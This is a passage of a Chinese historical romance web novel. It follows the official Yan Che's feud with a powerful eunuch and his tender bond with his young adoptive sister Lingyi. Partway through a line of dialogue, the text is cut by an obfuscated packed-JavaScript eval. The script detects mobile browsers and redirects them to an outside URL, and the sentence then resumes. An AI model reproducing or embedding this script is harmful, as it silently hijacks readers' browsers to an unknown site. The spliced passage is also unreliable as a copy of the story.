“列位看官,今儿咱们就说说这庆隆年间那档子风云变幻的事儿!” 他摇着折扇,目光扫过众茶客。 “话说庆隆十二年,那皇城里飘起了白幡。咱这位庆隆帝啊,说来也是可怜,一辈子都活在郑康安那阉人的阴影里,空有一身龙袍,却无半点帝王之实啊!” 醒木再响,茶馆内又是一静。 “这庆隆帝一走,朝堂上可就乱了套了。为啥呢?就因为这位天子膝下无子啊!那郑康安本想着再立个傀儡,可朝中那些老臣也不是吃素的,硬是从宗室里扒拉出个德才兼备的年轻后生把他推上了龙椅,改元建兴!” “这建兴帝啊,对那郑康安早就恨得牙痒痒了。可郑康安在朝中根深蒂固,党羽众多,建兴帝一时半会儿还真动不了他!” 有人忍不住问道:“那阉党岂不是要无法无天了?” 说书人笑道:“非也非也!咱们这位建兴帝啊,可不是个吃素的。他明着动不了郑康安,暗地里可没少下功夫!” “您诸位可知道,咱京城有‘洛安十景’?什么烟柳雾湖、西山晴雪,那都是美不胜收啊!可其中有一景,却是与咱们今日说的息息相关,那便是状元游街!” 前排一个小公子急不可耐:“老先生快说重点!” “莫急莫急。”说书人呷了口茶。 “话说建兴元年,有一位二十多岁的年轻人,在考场上力压群儒,一举夺魁,被钦点为新科状元!据说游街当日,十里长街争相观看,千金小姐们的香囊手帕像雨点似的往下扔,比皇帝出行还热闹三分!” 茶客嗑着瓜子儿:“这颜状元与那郑康安又有何干系?” “列位看官,这颜状元可不简单呐,他正是那郑康安的仇人!当年郑康安为非作歹,害得礼部尚书姜大人流放岭南,还大肆迫害姜大人的学生,将他们赶尽杀绝。” “而颜状元,正是当年姜大人门下,唯一活下来的学子!” 众茶客哗然,惊得檐下燕子扑棱棱飞起。 皇城内春风微起,穿过重重宫墙,拂过一座典雅的学府。 馆内书声琅琅,夹杂着几声鸟鸣啼啾。 这座由国子监直辖的学府坐落于崇仁坊内,朱漆大门上悬着新帝亲题的“同文馆”匾额。 馆中三百余名学子,多是三品以上京官的子弟,以及富贵人家的小姐。 每日辰时,琅琅诵读声伴着檐角铜铃的清脆声,响彻庭院。 此时,一个身穿浅蓝绣花襦衣的女子缓步而过。 发上云鬓斜绾,眉目间流露着清婉端庄。 她手持书卷,问过路束发青衿学子:“见令姑娘了吗?” 捧着书匣的青衣学子忙不迭行礼:“回祝师姐的话,方才见令姑娘往望春园去了。” “多谢。” 望春园内,千树桃花正灼灼其华,花瓣随风飘落,零落如红雨。 一道粉色窈窕身影在桃树间轻盈穿梭,宛如仙子落凡。 蓝衣女子朝那人唤道:“小令颐,颜先生奉旨回京,午时便要入城了,你还不准备迎接?” 桃树下,豆蔻少女嫣然回首。 玉手轻捧娇艳花枝,潋滟动人的杏眸满是惊喜之色。 “是哥哥回来了吗!” 令颐轻提烟霞色裙裾朝师姐奔去。 “师姐!师姐!” 少女一边挥手一边脆生生地唤着,脸上绽开的笑靥比满园桃花还要明艳三分,连下唇那颗红痣都随笑意盈盈跃动。 祝颂然高声道:“你慢点儿,石子路滑,当心摔着!” 话音未落,只见小姑娘脚下被石头一绊,整个人如蝶儿般飘飘然倒了下去。 嘴里一声娇呼:“哎呀——” 祝颂然哭笑不得,连忙上前将人扶起。 “瞧你,发髻都散了。都说了慢点儿,还这么不小心。” 她轻拍她衣衫上的尘土,拿出一条绉纱帕子,仔细擦拭着令颐鼻尖沾上的草屑。 “没摔着鼻梁骨吧?这么秀气的鼻子,若是摔塌了怪教人心疼的。” 阳光穿过层层花枝,照射在少女清丽白腻的脸上。 令颐正是十三四如花似玉的年纪,乌发如漆,肌肤如玉,脸颊因方才的奔跑泛着淡淡的胭脂色。 最是那粒缀在樱唇上的小红痣,随着她说话时若隐若现,更增俏媚。 她揉了揉摔疼的手腕,声音清甜:“没事的师姐,我没摔疼。” 她小心捡起地上的桃花枝,嘴里碎碎念道:“还好没摔坏,这是要插在浔之哥哥书房里的。” 说起哥哥,小姑娘的眸子比春光还明亮。 “师姐你不知,我好久没见浔之哥哥了,他去年年末巡视江南盐铁,一走就是三个多月,每月只有书信送来。” “我最近总在想他,练字练到深夜会想,午睡醒来时也会。昨个还梦见哥哥给我带了三盒杏花酥。所以令颐醒来后便想着,哥哥这个时候应该马上就回京了,果不其然就灵验了!” 她念叨个不停,祝颂然听她一口一个哥哥叫的亲昵,噗嗤笑出了声。 “你呀。”祝颂然忍俊不禁,指尖轻点她额头。 “整日里浔之哥哥浔之哥哥短,不知道的还以为……” 不知道的还以为,是少女在思念情郎。 是了,若换作任何一家闺秀说这话,旁人都是要误会的。 可祝颂然最是清楚,自家师妹心性单纯,她说想念便是真真切切的挂念,说梦见便是实实在在的梦,断没有什么儿女情长的心思。 令颐捂着被点的额头:“嗯?师姐还以为什么?” “没什么。” 祝颂然轻轻捏了下她的小脸,笑着摇头。 有些事,令颐不懂,他们几个师兄师姐却看得透彻。 整个同文馆——不,整座洛安城,只有令颐敢亲近颜先生,对他撒娇耍痴。 京城谁人不知,国子监司业颜浔之,少年状元,昭昭明月,风雅文士,可谓是时下京城最耀眼的新贵。 当年状元游街的盛景她也曾亲眼见过,当真是风华绝代,不知有多少人为之倾倒。 但奇怪的是,那些真正有幸与之有过交集的人,大多对他保持着一种微妙的距离。 既是敬重,也是惧怕。 他们见过他轻描淡写宣判一整个家族的死刑,也见过他月白袍角沾着官员额头磕出的血迹。 这位颜大人的心肠,冷硬到不像正常人。 可他们是颜先生的学生,有些话不能随便说。 加上,颜先生对这个妹妹可谓是极好,他们这些外人便更不好多说什么了。 令颐这么讨人喜欢的一个小姑娘,他们可不愿让她心生不安。 祝颂然轻飘飘按下心思,朝令颐笑道:“知道你惦记颜先生,不过,他方才派人传来口信,说他尚需入宫履职,晚些时候才能来同文馆。” “他特意嘱咐,让你在同文馆等他。” 令颐乖巧点头:“我知道啦。” 她甚至能想象到,哥哥说这话时定是眉目舒展,和风细雨般温柔。 他知道自己想念他啊。 正好,浔之哥哥一路舟车劳顿,自己可以好好准备给他接风洗尘。 她低下头看向自己满是泥泞的蜜合色绣鞋,还有衫裙上的脏污…… 嗯,还需要好好拾掇下自己。 上次她平地摔摔了一身灰,哭得梨花带雨去找哥哥,被羡文师兄打趣说是像是从垃圾堆里捡回来……想想就不开心! “还有。”祝颂然顿了顿,“颜先生嘱咐你,在他回来之前,要把《云溪友议》抄完二十页。” 令颐顿时苦了脸:“哥哥怎么刚回来就要检查我的功课啊……” 小姑娘脸上的神采飞扬全化作了委屈。 “那我现在写就是了嘛……师姐,这束花能麻烦你帮我送到哥哥的书房么?” 令颐正咬着唇思考午时前能不能抄完,却见祝颂然哑然失笑。 “好啦傻姑娘,我逗你玩的!” 见令颐还在那里没反应过来,祝颂然笑着握住她的手。 “快些跟师姐回去罢,你裙角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762946|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的金线都沾了泥,回去换身衣裳才好见人。” * 此时,同文馆的朱漆廊柱间炸开一阵骚动。 不知是谁先喊了一句“颜先生要回京了”,顷刻间,满院学子如惊弓之雀。 有人打翻了砚台,有人踢翻了锦鲤池边的食盒,还有人抱着没写完的策论在庭院内团团转。 “快别喂那破鱼了!先生给你布置的策论写完了吗?” “把《近思录》还我!颜先生批注的朱笔字迹我还没临摹完呢!” “甲子版的《文集》呢?上次明明压在枕头下的.....” 廊下传来“咚”的一声闷响,原是学生急得撞了柱子。 他捂着额头哀嚎:“先生说要我与太学生探讨‘三纲领’”和‘八条目’,我还什么都没准备呢!这可如何是好!” 正当众人乱作一团时,月洞门处飘来一抹烟霞色。 “颜二姑娘来了!”有人高喊一声。 方才还鬼哭狼嚎的学子们顿时如见救星,呼啦啦围上来。 “令姑娘!” 太常卿家的公子拱手作揖:“上回你说喜欢我家那对白鹦鹉,明日就送到府上!只求今日别让颜先生往我这边来!” 还有人从袖中抖出一卷《玄鸟图》:“颜二姑娘行行好吧!这是吴大师的真迹,只要拖住颜先生半个时辰……” 令颐被挤得踉跄,绣鞋上的泥点蹭在了翰林院编修之子的袍角。 那人却浑然不觉,只一个劲儿作揖:“姑娘千万莫提策论之事,就说我们都在、在沐浴斋戒!” 众人一人一句,令颐一个小姑娘被团团围在中间,险些要被淹没。 若不是知晓内情的,见到这场面,还以为是什么阎罗王要驾到。 此事说来也奇。 同文馆里教书的先生大多是名满天下的宿儒,偶有朝中显贵讲学,个个以治学严厉著称。 这些人中,当数颜彻性情最为温和,教学风格也和煦如春风,从无疾言厉色。 可偏偏学子们最怕的就是他。 即便是最纨绔的学生也不敢造次,远远望见他的身影便要绕道走。 正好相反的是,令颐是个可爱又好骗的傻丫头,学子们只要说几句好话她便招架不住。 此时,令颐茫然看着手里的贿赂。 从名家字画到蝈蝈笼子,甚至还有半块吃剩的海棠糕。 “师姐……” 令颐抬起求助的目光望向祝颂然。 祝颂然看不下去了,拿着书册“啪”地敲在石桌上。 众人霎时噤若寒蝉。 祝颂然道:“半月前是谁夸口说《春秋》三传倒背如流?又是谁说自己的文章连八大家看了都自愧不如?” 被点名的几人低下了头。 “颜先生不在的时候你们个个偷懒,到了这会儿还好意思为难令颐。看我回头不禀明先生要你们好看!” “啊——师姐饶了我们吧!” 同文馆里,若论学生们最怕的是谁,那毫无疑问是颜先生。 若论第二怕的是谁,那说法可就多了。 有说是国子监祭酒侯大人,有说是膳房的董大娘,还有说是颜先生的管家赵福忠。 后来,学生干脆把这几人并列为第二。 祝颂然也在这第二之列。 无他,单凭她敢给自己的丈夫写休书让其净身出户,便知此女绝非等闲之辈。 当初,祝颂然休夫一事在京城闹得沸沸扬扬,祝颂然丈夫一家甚至派人来砸馆。 周围的人或多或少觉得祝颂然行事太过离经叛道,围观者居多。 只有令颐坚定站在祝颂然这边,用自己小小的身躯挡住那帮闹事的人,不让他们欺负师姐。 小姑娘当时才到人胸口高,一边害怕得要哭,一边抱着本比自己脸还大的《大周律》跟人理论。 从那之后,祝颂然几乎将令颐当做亲妹妹宠。连厨娘董大娘都说:“祝姑娘护着颜二姑娘,比老母鸡护崽还紧。” 众人哭丧着脸,瞬间作鸟雀散。 祝颂然拉着她:“别理他们,走。” 5. 第 5 章 祝颂然领着令颐,两人穿过回廊回到厢房。 房内陈设雅致,香炉内燃着鹅梨香,馨香馥郁。 令颐将桃枝放在细瓷瓶中插好,又往里扔了两枚铜钱。 她杏眼弯弯:“哥哥说过,铜钱能镇住花魂,这样能让花开得更久些。” 祝颂然已从衣柜拿出一件浅粉色烟罗裙裳,在她身上试了试。 “前几日得了匹烟罗云锦,我一看就觉得衬你,便照你的尺寸做了身衣裳,你快穿上看合不合身。” 令颐瞧着那绣工精致的衣裙。 颜色清理脱俗,针脚细腻,花样精致。 “师姐女工好品味也好,又不嫌辛苦给我打扮,芳菲和晴雪每回都说我是不是要抛弃她们了。” “小甜嘴。” 祝颂然戳了戳她的小酒窝,眼里尽是喜爱。 “颜先生虽能教你诗书礼乐,但要说打扮小姑娘嘛,我可比他内行多了。” 令颐甜甜一笑。 祝颂然给她绑好腰带。 小姑娘本就生得俏丽,藕色衣裳更衬得她肤白如雪。 简直漂亮得不像话。 祝颂然心头忽地一紧,她家小令颐若是再过两年完全长开,不知道有多少狂蜂浪蝶围着打转。 光想想就让人头疼不已。 她握住令颐的手腕:“小令颐呀,来日你若是去见心仪之人,可不准穿别家的衣服,一定要穿师姐做的衣裳哦。” 这丫头的打扮权,她说什么也要先抢下来。 令颐扑闪着杏眼:“师姐,什么是心仪之人?” 这倒把祝颂然问住了。 她沉吟了片刻:“心仪之人啊……就是让你朝思暮想,见之欣喜,想和他一直一直在一起的人。对你来说,他便是世间最特别的存在。” 令颐认真想了想,眸光一亮。 “那,哥哥和师兄师姐便是我的心仪之人,令颐每次见到你们都很高兴,想和你们永远在一起,每天都要穿戴整齐见你们呢!” “哥哥常说先正衣冠,后正德行,令颐懂得这个道理。” 一番话说的祝颂然哑然失笑。 “傻丫头,不是这个意思啦。” 她看着面前清澈懵懂的少女,一时哭笑不得。 也是,这丫头自小受颜先生亲自栽培,读的是四书五经,学的是仁义礼信。 颜先生对她期许甚高,可谓倾注心血。 从看的书籍到临字用的字帖,样样都给她安排好。 这样的严管严教下,令颐连才子佳人话本都没接触过,哪里知道什么情情爱爱的。 在男女之事上,她就宛如一块未经雕琢的璞玉,纯净无瑕。 祝颂然柔声道:“罢了,你还小呢,现在跟你说这些你也不明白。等来日吧,师姐们会好好教你的。” 令颐已过了及笄的年纪,按理说早该相看人家。 可颜先生公务繁忙,加上到底是男子,不能面面俱到。 此事只能他们几个师兄师姐多上心了。 令颐歪着脑袋,不明所以。 她忽然想起什么,慌慌张张道:“对了,我和董大娘还未商量接风宴的菜式呢!师姐我先去膳房了!” “谢谢师姐的衣裳,回头我给师姐做茶点!” 令颐风风火火出了门,祝颂然在后面喊着:“记得里灶台远一点,别像上次一样燎了头发!” * 时至晌午,膳房内蒸汽缭绕,散发着诱人香气。 香味引得几个小郎君趴在窗口看,董大娘手中锅铲一挥,作势要打。 “去去去!别在这儿碍事!” 令颐在一旁笑吟吟地挑菜,和董大娘商量菜式。 “浔之哥哥舟车劳顿,脾胃定然疲乏,需得温养些才好,得选些清淡易消化的菜式。” “还有,哥哥不吃荤腥,这个千万不能忘了!” 董大娘道:“知道了,姑娘就是不说我也会操一万个心的!” 只要是颜彻身边的下人,都知道他的这个习惯。 之前有厨娘把素丸端错成了肉丸,颜彻误食后险些出大事,把令颐吓得大哭。 从那之后,颜彻的饭食便由专人负责,一般人根本没有沾手的机会。 灶台上的蒸笼噗噗冒着白气,映得小姑娘的脸愈发莹润。 董大娘看令颐满脸认真地在那里自言自语,笑容里满是慈爱。 “我那个不成器的丫头要是有令姑娘一半贴心,老婆子便是现在闭眼也值了。” 她一面翻炒着锅里的菜,一面絮絮叨叨。 “颜先生啊,就跟那那案上供的菩萨似的,高高在上,不食人间烟火。在他面前,再好的厨艺都白搭,倒难为你处处为他上心。” 说起此事,董大娘颇有微词。 颜先生不吃肉食也罢了,他的口腹之欲还极其微弱,除了自家妹妹令颐,几乎没人见过他吃东西。 她道:“颜先生有你这样的妹妹,真是好福气啊。” 令颐眼眸弯弯,颊边梨涡浅浅,笑容像是能酿出蜜来:“哥哥待我也极好呀。” 正说着,书童清脆的声音从门外传来:“姑娘,颜先生的马车到西门了。” 令颐心中一喜,忙放下手中活计。 “我去接他!” 她转身便朝门口跑去,一路穿花过柳,花香盈了满袖。 柳絮飘过雕梁画栋,轻轻落入水池,泛起点点涟漪。 小姑娘不知跑了多久,一道修长身影步入她视线。 她脚步一点点慢下来。 春光浮动,远处,年轻郎君玉面清隽若仙,负手而来。 许是刚出宫,他身上朝服还未换下,一身青织金妆花蟒龙缎衣,仙鹤刺绣。 蹀躞带勾勒挺拔腰身,衬得他华贵清雅,姿容卓越。 为官数年,颜彻身上的气质越发清贵,说是天潢贵胄也不为过。 满园春色似都成了陪衬,半分沾染不上他的清冷气度。 “浔之哥哥!” 她一面跑一面唤着“哥哥”,引得不少人都驻足侧目。 只见少女明眸皓齿,清媚灵动,身段还未出挑得周全,眉眼间已是见之忘俗。 微风拂过她发间飘带,藕粉色衣裙随风翩跹,如盛开的荷棠。 令颐轻盈扑进颜彻怀里,环住他的腰,眼眶泛红。 “哥哥,你终于回来啦!” 她闻到颜彻身上那股熟悉的雪松香。 清冽的气息干净好闻,让人想起山涧清泉。 颜彻身子微微顿住。 他垂眸轻唤:“令颐。” “嗯?” 令颐抬起脸,对上他似笑非笑的神情。 颜彻眼尾狭长,垂下眼眸时,自然流露出一抹柔情。 可语气里却藏着一丝若有若无的提醒。 令颐不解,后知后觉地往旁一瞥。 只见颜彻身后还跟着七八个官员,跟他们隔着几步远的距离。 清一色缎衣乌冠,正用一种奇怪而微妙的目光打量他们, 令颐白嫩的脸颊瞬间变得面红耳赤:“啊,是我没注意!” 她急忙脱身而去,不料动作太急,腰间衣料被勾住,珍珠链和颜彻的玉佩缠在了一起。 令颐手忙脚乱解那绳结,却怎么也解不开,脸颊烫得像蒸熟了一样。 “无妨,我来。” 颜彻温声安抚,修长的手指耐心解开纠缠的丝绦。 两人距离拉近,令颐一抬头便能碰到他的下颌。 这么久没见哥哥,一见面就弄得这么窘迫。 令颐恨不得找个地缝钻进去。 束缚解开,她朝后退了几步,朝几位大人福身行了个礼。 动作虽生涩却规矩十足。 颜彻同她道:“我和几位大人还公事要谈,妹妹,你先回去。” 令颐眉心轻拢,声音呐呐:“哥哥刚回来就要忙公事吗,我、我怕哥哥太辛苦……” “嗯,还有重要的事需要处理,我已用过午膳,你今日若是等不到我,就自己回府。” 颜彻语气温和,又带着一贯的清冷威严。 令颐糯声道:“好,我知道了。” 随行官员看着眼前这一幕, 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“平川府风光旖旎,这次巡视江南,数那里的景致最教人流连忘返。” 郑康安听了这话,脸色青一阵白一阵,看鬼一样看着他。 颜彻道:“厂公一心为国,定是不愿江南一带的盐铁生意受损。既如此,下官改日再来,与厂公商议如何解决平川府困局。” 那语气温柔得仿佛在说,“明日再来赏花”。 说罢,他行了一揖,从容离开殿门。 围在殿外的侍卫们看着这一幕,面面相觑,退至一旁。 颜彻从两行甲兵面前径直走过,无一人敢拦。 郑康安怒视他的背影,胸中血气翻腾,整个身子摇摇欲坠。 身旁小太监一拥而上搀扶住他,手忙脚乱叫太医。 整个殿室霎时乱作一团。 其他随行官员跟在颜彻身后走出殿堂,仿佛经历一场浩劫。 他们深知两人的恩怨由来已久,不想竟是这般剑拔弩张。 七年前,郑康安因不满礼部中立之态,将尚书大人姜朔发配岭南,对其门生更是赶尽杀绝。 当年尚未入仕的颜彻,便是其中幸存者之一。 如今时移世易,新皇对颜彻颇为赏识,加之首辅大人鼎力支持,这位年轻官员在朝堂上的地位日益稳固。 假以时日,定是蛟龙腾海,前途不可限量。 可谁能想到,这位谈笑间便让九千岁气到吐血的未来宰辅,此刻竟对自家小妹温柔似水? 那眉目间的宠溺,简直与殿中的凌厉判若两人。 有人偷偷掐了自己一把。 实在诡异,比有人说颜大人信佛还诡异。 众官员暗自咋舌,却见颜彻已抬步离开。 他们只得收拢各自心思,忙不迭跟了上去。 …… 令颐一路红着脸回了膳房。 董大娘见她一人回来,问她:“怎么,姑娘没接到颜先生吗?” 令颐小嘴一扁,手指不自觉地绞着衣角:“见到了……” “哥哥说他还有公事,不在这里用午膳了。” 董大娘瞧着她这副委屈巴巴的小模样,心都要化了。 她柔声安慰:“令姑娘别难过,颜先生刚刚晋升,公务繁忙也是常理。等这阵子忙过了,自然会好好陪你的。” 令颐努力提起笑靥。 “董大娘说得对!哥哥公务要紧,我、我才没有难过呢!” 她挺直了身板,故作成熟地说道:“我是哥哥唯一的妹妹,我要懂事一些!” 董大娘笑道:“好,好孩子,咱不想那些事了。 “不如我去唤你师姐她们来,咱们一块儿热热闹闹地吃顿饭。等用过午膳,大娘再给你做串炸鲜贝,撒上你喜欢的椒盐,保管你吃了心情好。” 令颐眼睛一亮:“谢谢董大娘!” 说着她就要去帮忙摆碗筷,重新变得蹦蹦跳跳起来了。 6. 第 6 章 挹青堂内,香雾缭绕。 颜彻靠着椅背,华丽官袍衬得他肤色冷冽如雪,几乎和玉扶手融为了一体。 狭长的凤眸半垂,浓密的睫毛在眼下投下一片阴影,叫人看不清情绪。 “江南盐铁司的账册,拿回去重新核算,三日内送到我桌案上。” 他声音不疾不徐,温和中带着不容置疑的威压。 “至于平川那几个不老实的盐商。” 他指尖在案上轻轻一敲:“该敲打的,一个都别漏。” 官员们屏息垂首,领命退下。 待众人散尽,屋内只留下鲁贽、邵玉二位心腹。 邵玉道:“此番江南巡视,大人不仅摸清了大周朝的盐铁经营之弊,顺带将阉党在江南的势力瓦解了大半,可谓收获颇丰。” 鲁贽亦是难掩激动之色:“是啊,将盐铁之利掌握在自己手里,相当于扼住了郑康安的咽喉,掌握了阉党的钱袋子。有这个把柄在手,咱们这一局可谓占尽先机。” 他忍不住请示颜彻:“大人,是否需要趁热打铁,联合御史台弹劾郑康安。” 颜彻淡淡瞥了他一眼。 邵玉是个有眼色的,见状立马上前道:“颜大人自有安排,我等不该置喙。” 鲁贽意识到什么,忙垂下头,脸色讪讪:“下官鲁莽,请大人恕罪。” 不怪他冒失,实在是颜彻的心思太过诡谲。 有时手起刀落毫不拖泥带水,有时却喜欢慢慢折磨,难以揣摩。 颜彻轻抚案上密函,不紧不慢开口:“鲁大人,你可知为何猎人在捕获狐狸时,总要留个活口?” 鲁贽额头沁出冷汗:“下、下官愚钝。” “因为,死去的猎物,怎能带我们找到更多的狐狸窝呢?” 颜彻唇角勾起一抹清淡弧度。 “而且,郑厂公辅佐先帝劳苦功高,我们总得给他一些体面,你们说是吗?” 鲁邵二人被他的威势压的抬不起头,齐声称喏:“是,下官明白。” 两人领命而去。 走到门槛,一直沉默的邵玉终是按捺不住心中疑惑,转身请示。 他小心翼翼地观察着颜彻的神色:“下官斗胆,恳请大人赐教,不知今日上午大人说了什么,让郑康安那般失了体面?” 颜彻低低一笑,身形后仰,倚于雕花椅背之上。 “不过是聊了些他感兴趣的话题罢了。” 他声音慵懒,带着一股磁沉的威慑感。 邵玉下意识追问:“比如?” “问他那些干儿子们夜里是如何伺候的,又比如,太监吃春药时,是补阳还是滋阴?” 颜彻说这话时,唇角微微勾起,笑意却不达眼底。 双眸仿佛两面涔黑的镜子,冷冷映着旁人的模样。 邵玉心下直突突。 跟在颜彻身边这么多年,每次见到他这副模样,他心里都生出一种深深的恐惧。 颜彻此人,有着病态般的掌控欲。 他甚至连看人都不超过三息,那双狭长的凤眼总是似笑非笑地掠过,很少正眼瞧人。 起初邵玉还以为这是文人清高的做派,后来才惊觉其中玄机。 不与人目光相接,便更容易窥破对方的心思,听到实话。 而且,他很擅长用三言两语挑起人的愤怒,挖掘他们最丑陋、不堪的一面。 等对方恼羞成怒时,他已将主导权牢牢攥在手心。 想到这,邵玉咽了下喉。 待在这样的人身边,每一刻都像行走在刀尖上,呼吸都要按着他的节奏来。 他很难想象,若有人试图脱离他的掌控,他会变得多么可怕。 * 到了掌灯时分,学堂内一片寂静。 只一间屋子透出柔和的光,铺洒在青石阶上。 颜彻款步入内。 一粉衣少女正歪着身子斜倚案前,如缎黑发柔柔斜垂而下,停在腰际最纤细处。 她玉手托腮,头一下一下轻点着,显然困极了。 另一只手握着一支毫笔。 颜彻走近几步,见桌案上搁着厚厚一沓宣纸,拾起来看了看。 临是欧阳公的《九成宫醴泉铭》,还有其他大家的书法,多是笔力遒劲之作。 笔笔认真,却掩不住那股软乎乎的劲儿。 令颐的琴棋书画皆是他亲手所教,前三样,处处都有他的影子,不说十分像,七八分还是有的。 可唯独,令颐的字不像他。 颜彻的字笔力雄劲诡谲,笔锋间透着凌厉,而令颐的字体却是清丽秀气。 颜彻说是因为她手力偏小,行书走笔间才显得力道不够。 令颐非常听哥哥的话,之后便日日苦练,甚至偷偷在腕上绑小沙袋,练到手指发颤也不肯停。 无论什么事,只要颜彻稍加提点,她便会朝这个方向下苦功夫。 正如颜彻所说,她是个难得的学生。 少女似是感觉到他的存在,樱唇微启,梦呓般轻声呢喃。 “祝师姐,不用劝我啦,我再等哥哥一会……” 颜彻搁下纸,朝她唤了一声:“妹妹,在这儿睡觉,明日怕是要脖子疼了。” “哥哥!” 令颐唰地张开眼,困意消散了大半。 她慌乱站起身,许是刚睡醒的缘故,清丽的眼睛微微泛红,像只迷糊的白兔。 “唔……哥哥忙完了吗?我方才在练字,一不小心睡过去了。” 她揉了揉眼,看了一眼窗外的天色,轻轻呢喃道:“都这个时辰了……” 颜彻没说什么,把桌上那些纸张收好。 令颐不好意思挠了下粉腮。 “哥哥,这些只是随手练的,写的并不好。” 他温煦一笑:“无妨,回头我仔细检查,看你有没有进步。” “天不早了,我们回家吧。” 不过是平常的话,可令颐不知为什么,觉得每次浔之哥哥说“回家”时,语气都温柔极了。 大抵是因为,他的眉眼实在占便宜,天生含情,干什么都温柔似水。 见他迈步离开学堂,令颐提裙跟着他身后。 庭内月凉如水。 颜彻负手走在前面,高大身姿如巍峨玉山。 令颐娇声唤道:“哥哥等等我!” 颜彻负在身后那只手微微曲起,朝她方向前伸。 他从不会主动牵她,只会用一个简单的手势温柔地召唤她,或是告诉她:“此处人多,怕走丢就牵着我。” 令颐走上前,把自己柔嫩的手搭了上去,一点点握住。 他的手温比她低很多,冰凉的触感如山间凉泉,顺着掌心流淌到少女整个身子。 小时候她娇气,总说不适应哥哥身上的寒气。 现在,却是十分想念。 她低下头,抿嘴偷笑了下。 见哥哥没有反应,她大胆了些,小手来回晃荡,步子一蹦一跳。 正自得其乐的时候,颜彻反握住了她,绕过身子把她拉到自己身侧。 夜色中,他侧首面向她,高挺的鼻梁投下淡淡阴影,说不出的俊逸。 令颐抬起脸,目光盈盈:“哥哥?” 她以为自己闹得太过,哥哥在制止她。 却听他道:“给你从江南带的礼物已经让赵管家送回府上了,回家就能见到,你应该会喜欢。” 令颐水晶般的眼眸闪出光来,抱住他手臂:“哥哥最好了!” 月光将两人的身影拉得悠长。 同文馆外,颜府管事赵福忠和车夫已驾着华盖雕漆马车等候多时。 马车一动就晃,颜彻牵着她稳稳踏入。 “小心脚下。” “嗯好~” 颜彻拿了件薄毯铺到她身上,车厢内四处包着软垫,是为了让令颐坐着更舒服。 车粼粼向前。 此时已是亥时,街上商贩都收了摊子,落了满地零落的灯火。 车厢内,兄妹俩一路聊着大半年京城的趣事。 多是令颐在说,颜彻含笑倾听。 令颐一遇到哥哥就有说不完的话,连墙角开了一只小花都想给哥哥分享。 小姑娘说着说着,瞥见哥哥腰间质地上乘的羊脂玉佩。 玉佩坠着带珠子的流苏,丝丝缕缕甚是齐整。 她不由想起白天的一幕,声音忽地低沉下去。 颜彻察觉到她的情绪变化,问她:“怎么了?” 令颐摇了摇脑袋:“没什么。” 她是想起,在彬江那几年。 那时候,每到除夕那几日她便拉着浔之哥哥去河边逛灯会。 芳菲姑姑总怕她冷,会给她套上厚厚的大红棉袍,把她乌黑柔顺的长发团成小巧可爱的发髻,年画娃娃似的。 没有马车,她走几步便耍赖要哥哥抱她。 依偎在他怀里,摘下一颗冰糖果子喂到他嘴边,甜甜地说:“哥哥吃。” 再回想今年,只有她一人守岁,一人点的花灯,一人贴的桃符。 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“几位年长的丫鬟已至出府之年,小的已按规矩为她们备下嫁妆,新购进几个伶俐的婆子,算是勤谨,待小的调教一番再送去二小姐的明兰院。” “二小姐学有所成,宫中赏赐已悉数登记入库,并无差错。” 颜彻看向令颐,微笑颔首。 “有进步。” 令颐捧着脸:“哥哥夸我啦。” 颜彻又挨个问过去,众人如实回话。 他淡淡交代:“我回府后府上外事应酬会多些,你们小心听命行事,不可有丝毫疏漏。” “今后无论是谁送来帖子拜礼,一律不得轻易入府。” 众人齐声:“是。” 颜彻吩咐赵福忠将自江南带回的一应物件入库,又分了赏赐下去。 他对众人说道:“都下去吧,芳菲、晴雪留下。” 其余下人皆躬身退下,唯有赵福忠忍不住多看了主子一眼。 颜彻为人雅淡,在下人面前向来言语寥寥。 他今日这般吩咐了这么多,怕是……要有什么大事。 芳菲和晴雪还垂首候着。 颜彻手里捏着茶盏,掀起玉盖撇了撇茶叶。 “从江南带回来的那些东西有几盒糖食,你们注意控制好分量,莫让二小姐一次食用过多,伤了脾胃。” “近来天气转热,二小姐偏爱冰饮,无论她如何撒娇都不许给她提前准备。她脾胃弱,瓜果也不必太早湃凉。” 两人颔首应是。 令颐在一旁小声抗议:“哥哥,我身体好着呢,干嘛如此严格啊……” 颜彻微微一笑,仍是那双温柔的凤眼。 “若不是你每月那几日都直不起腰走路,捂着肚子跑来找哥哥哭诉,我倒愿意相信你身体好。” 嗯……那倒也是。 令颐委屈巴巴撅起嘴,不再做声了。 芳菲和晴雪对视一眼,无奈笑笑。 二小姐向来没有男女大防的概念,这倒也罢了,偏偏大公子胸怀磊落,行事言谈全无世俗上的拘谨。 女子癸水这样的事,两人就这么当着别人的面说。 颜彻又问她们:“二小姐的倚梦症如何?” 一旁的令颐紧张咽了咽喉咙。 回话的是芳菲:“回大公子,大公子不在这段时日,姑娘总夜里翻来覆去睡不着,即便睡着了也是发一身的汗。” “大夫开的药吃了总不见好,今年换季时病症还比往常严重些,一宿下来被子要换个两三次方能勉强安睡片刻,有时只好白天补觉……” 令颐着急出声打断她:“芳菲姑姑!” 芳菲还是继续说着:“姑娘交代奴婢不要告诉大公子,可奴婢们实在担心小姐的身子。” 令颐赶忙对颜彻解释:“哥哥别听姑姑的话,那几日是因为受了寒身子不适,现在已经没那么严重了!” 晴雪看热闹不嫌事大似的,半调笑地说:“大公子不知,今年除夕夜您不在府上,小姐做噩梦直哭,一整宿的睡不着,奴婢们没办法,只好带小姐出门看夜戏。” 令颐脸颊涨得绯红,忍不住去看哥哥的神色。 颜彻没说什么。 沉默片刻后,他搁下茶盏,敛衣起身。 “回去看看礼物,收拾好后,来我房中一趟。” 7. 第 7 章 令颐乖乖道了句好。 回明兰院的路上,两个侍女提着灯,琉璃灯的光薄薄照在路上。 芳菲见令颐神色恹恹,心下有些不是滋味。 她小心翼翼问:“奴婢擅作主张,姑娘会不会责怪奴婢?” 令颐摇摇头。 指尖绕着腰间丝绦,心不在焉的。 